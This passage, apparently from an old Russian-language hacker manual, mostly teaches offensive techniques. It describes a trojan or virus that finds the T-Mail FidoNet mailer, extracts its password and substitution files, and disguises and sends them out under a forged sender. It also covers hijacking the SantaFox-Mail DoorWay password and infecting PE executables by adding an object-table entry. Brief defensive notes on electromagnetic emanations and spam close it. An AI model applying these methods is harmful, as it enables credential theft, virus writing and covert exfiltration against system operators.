миллионы долларов хозяину системы - достаточно разместить на ком-
пьютере системного оператора незаметную программу, которая эти па-
роли найдет и отправит на какой-либо из указанных FTN-адресов.
Вот и все. Больше ничего не нужно.
Теперь несколько возможностей реализации этого плана. В странах
бывшего СССР наиболее часто используется DOS-совместимый мей-
лер Андрея Елкина T-Mail, поэтому принципы взлома рассмотрены на
примере системы, работающей именно на его основе. Некоторые
пользуются программой Антона Дейнова "SantaFox-Mail", принципы
ее взлома похожи, кроме того, взломать эту систему гораздо легче бла-
годаря встроенной функции DoorWay. Но об этом ниже. Итак, что же
программа должна сделать с системой, чтобы заветные пароли нако-
нец-то были получены? Собственно, алгоритм весьма прост, и описать
его можно примерно так:
1. Определение расположения программы T-Mail на жестком диске
системы.
2. Определение расположения конфигурационных файлов системы.
3. Извлечение списка паролей и адресов из конфигурации системы.
4. Шифрование списка паролей и адресов с эмуляцией PGP-кодирования.
5. Отправление зашифрованного списка паролей и адресов через ап-
линка по роутингу на систему взломщика.
Теперь рассмотрим возможные способы реализации. Теоретически это
не сложно.
Как правило, системные операторы держат свой T-Mail на жестком дис-
ке. Первая задача - определить, куда же оператор спрятал свое "сокро-
вище". Тут-то и намечается разделение. Можно написать "троянца",
подсадить его в какую-либо конкретную систему и ждать, когда эта
система пришлет свои пароли по почте. Но можно написать и "вирус",
расходящийся на несколько почтовых узлов, после чего все зараженные
узлы сообщат пароли на сессии со всеми своими парольными линками.
Можно искать T-Mail по всему жесткому диску с помощью рекурсивно-
го обхода всех логических дисков и вложенных каталогов. Понятно, что
этот метод не так уж деликатен, поскольку системный оператор может
заметить, что некая программа на протяжении нескольких минут поче-
му-то занимает винчестер. От такой глупости откажемся. Другое дело,
если этим будет заниматься вирус. Почему? Да потому, что большин-
ство вирусов отслеживают вызовы функции 4Bh DOS-прерывания 21h
для заражения программ. В таком случае, что мешает этому вирусу ана-
лизировать запущенные программы на предмет "а не T-Mail ли это ча-
сом?" и находить "сокровища" именно таким образом? Ничего. Анализ
правильнее будет вести не только по имени запускаемого файла, пото-
му что системный оператор мог переименовать программу, а в данном
случае необходима максимальная надежность. Поэтому лучше всего от-
лавливать T-Mail по постоянной сигнатуре ЕХЕ-файла.
Узнав, где находится программа T-Mail, можно определить, где находят-
ся ее конфигурационные файлы. Если при запуске T-Mail ключ "-С" не
задан (кстати, перехват командной строки - это еще один довод
в пользу того, что поиск программы корректнее выполнять при помощи
вируса), основным файлом конфигурации является "T-MAIL.CTL", на-
ходящийся в том же каталоге, что и T-Mail. При запуске программы
ключ "-С" задает путь и имя основного конфигурационного файла, ко-
торый понадобится для взлома. Так что необходимо предусмотреть оба
варианта запуска. После определения места расположения основного
конфигурационного файла нужно получить путь еще к двум файлам -
файлу паролей и файлу подстановок (пароли могут находиться в обоих
файлах). Важное замечание: если пароль для какого-либо адреса указан
в файле подстановок, его дублер из файла паролей игнорируется.
Путь к файлу паролей указан в переменной Security, к файлу подстано-
вок - в переменной SubstList. Переменная конфигурационного файла -
это строка, начинающаяся со специальных слов. Например, строка:
Security C:\NETWORK\T-MAIL\PASSWORDS.LST
называется переменной Security и содержит путь и имя файла паролей,
в то время как строка
SubstList C:\NETWORK\T-MAIL\SUBST.LST
называется, соответственно, переменной SubstList и содержит путь
и имя файла подстановок. Разумеется, было бы нежелательно отправ-
лять эти два файла вложением (attach), поскольку оно может поте-
ряться. Надежнее передать эти текстовые файлы по электронной почте
в виде обычного письма. Тут возникает проблема: если системный
оператор станции, через которую будет проходить это послание (ведь
всем известно о его праве читать транзитную почту), обнаружит паро-
ли, он немедленно предупредит об этом того оператора, у кого эти па-
роли были украдены. Последний договорится со всеми линками о но-
вых паролях, и все старания окажутся напрасными. То есть в целях
конспирации придется зашифровать письмо, чтобы при его просмотре
казалось, что оно содержит прикрепленный файл. Разумеется, это
не обязательно должен быть настоящий PGP, достаточно лишь внеш-
него сходства и невозможности быстро расшифровать засекреченное
послание. Это неплохая гимнастика для ума, поскольку хакер должен
уметь не только расшифровывать, но и маскироваться, не только ло-
мать, но и строить.
Теперь нужно выбрать адрес, на который придет это письмо. Желатель-
но отправить его по e-mail в Internet через FTN-Internet гейт. Дело
в том, что в таком случае пострадавшему системному оператору будет
очень сложно найти отправителя. Очевидно, в этом письме поле
"From:" и обратный адрес должны быть подставными. Это собьет сис-
темного оператора с толку, и он не станет удалять или задерживать
письмо, особенно если в него добавлены "лишние" клуджи "(c)Via:".
О том, как создать нетмейл письмо, можно прочитать в FTS.
Почему же SantaFox-Mail сломать гораздо проще? Дело в том, что
в основном конфигурационном файле SF-Mail имеется переменная, ука-
зывающая пароль на режим DoorWay. От "червя" требуется только за-
дать какой-либо заранее известный пароль на пользование DoorWay,
после чего нужно соединиться терминальной программой с этой систе-
мой и набирать это слово. Попав в DoorWay, файлы паролей и подста-
новок можно украсть "голыми руками". Конечно, если системный опе-
ратор заметит, что кто-то брал у него эти файлы, он примет
соответствующие меры. Кроме того, после изменения паролей могут
появиться сбои в работе системы - пользователи будут пытаться войти
в DoorWay со старыми паролями, но они не будут работать. Ясно, что
оператор об этом узнает очень скоро.
Как было показано в предыдущей части, "червь" может не только воро-
вать пароли, но и задавать свои. В T-Mail нет режима DoorWay, зато
есть так называемый "главный пароль системы", заданный в перемен-
ной T-Password основного конфигурационного файла. Изменив этот
пароль, можно послать на удаленную систему письмо с соответствую-
щими указаниями к действиям и добиться нужного результата.
Об указаниях подробно написано в документации по программе T-Mail,
но нужно помнить, что системный оператор будет оповещен обо всех
несоответствиях и сбоях в работе системы.
Заражение файлов формата PE-executable
Определение положения начала РЕ-заголовка происходит аналогично
поиску начала NE-заголовка. Если смещение таблицы настройки адре-
сов (поле 18h) в заголовке ЕХЕ-файла 40h или больше, то по смещению
ЗСЬ находится смещение PE-executable заголовка. Сигнатура PE-execu-
table ("РЕ") находится, как и у NE-executable ЕХЕ-файла, в начале но-
вого заголовка.
Внутри РЕ-заголовка находится таблица объектов. Ее формат наиболее
важен по сравнению с прочими. Для добавления вирусного кода в но-
ситель и перехвата вирусом управления необходимо добавить элемент
в таблицу объектов.
Основные действия заражения PE-executable файла:
1. Найти смещение заголовка PE-executable в файле.
2. Считать достаточное количество информации из заголовка для
вычисления его полного размера.
3. Считать весь РЕ-заголовок и таблицу объектов.
4. Добавить новый объект в таблицу объектов.
5. Установить точку входа RVA на новый объект.
6. Дописать вирус к файлу по вычисленному физическому смещению.
7. Записать измененный РЕ-заголовок в файл.
Для определения расположения таблицы объектов следует воспользо-
ваться значением переменной "HeaderSize" (не путать с "NT
headersize"), которая содержит совместный размер заголовков DOS, РЕ
и таблицы объектов.
Для чтения таблицы объектов необходимо считать HeaderSize байт
от начала файла.
Таблица объектов расположена непосредственно за NT-заголовком. Зна-
чение "NTheadersize" показывает количество байт, следующих за полем
"flags". Итак, для определения смещения таблицы объектов нужно по-
лучить NTheaderSize и добавить размер поля флагов (24).
Добавление объекта: получив количество объектов, умножить его на 40
(размер элемента таблицы объектов). Таким образом определяется сме-
щение, по которому будет расположен вирус.
Данные для элемента таблицы объектов должны быть вычислены с исполь-
зованием информации в предыдущем элементе (элементе носителя).
RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)
*OBJ Alignment
Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)
*OBJ Alignment
Physical Size=(size of virus/File Alignment+1 )*File Alignment
Physical Offset=prev Physical Offset+prev Physical Size
Object Flags=db 40h,0,O.COh
Entrypoint RVA=RVA
Теперь необходимо увеличить на единицу поле "количество объектов"
и записать код вируса по вычисленному "физическому смещению"
в размере "физического размера" байт.
Защита от ПЭМИН
Нужно помнить, что за счет побочных электромагнитных излучений
и наводок (ПЭМИН) можно считывать информацию с монитора компь-
ютера (разумеется, с помощью специальных технических средств) на
расстоянии до 200 метров, а то и больше. Также можно считывать ин-
формацию с процессора, клавиатуры, винчестера, дисковода (когда они
работают, естественно). Поэтому все криптосистемы становятся почти
бессмысленными, если не принять соответствующих мер защиты. Для
защиты от ПЭМИН рекомендуется применять генераторы белого шума
(в диапазоне от 1 до 1000 МГц) типа ГБШ-1 или Салют. Их (а также
другие интересные вещи) можно приобрести в фирмах, торгующих
спецтехникой. А можно заняться творчеством и сделать их самостоя-
тельно, используя схемы из популярной книги "Шпионские штучки"
(в Москве ее можно приобрести, например, в СК "Олимпийский" или
на радиорынке в Митино).
Защита от SPAM
Для многих пользователей Интернет SPAM (бесконечные рекламные
предложения и мусор, рассылаемый по почте) стал настоящим бед-
ствием. Основные рекомендации для защиты от SPAM следующие:
- пишите письма в конференции Usenet исключительно с ненужных
(бесплатных) адресов, потому что именно письма в конференции
Usenet являются основной "засветкой" для спамеров. А если будет
много SPAM, то такой адрес можно, что называется, выбросить
и за пару минут сделать другой подобный;
- установите какую-либо программу-фильтр для e-mail. Существует ве-
ликое множество таких программ, доступных на бесплатных серверах,
например, на http://www.shareware.com и http://www.download.com.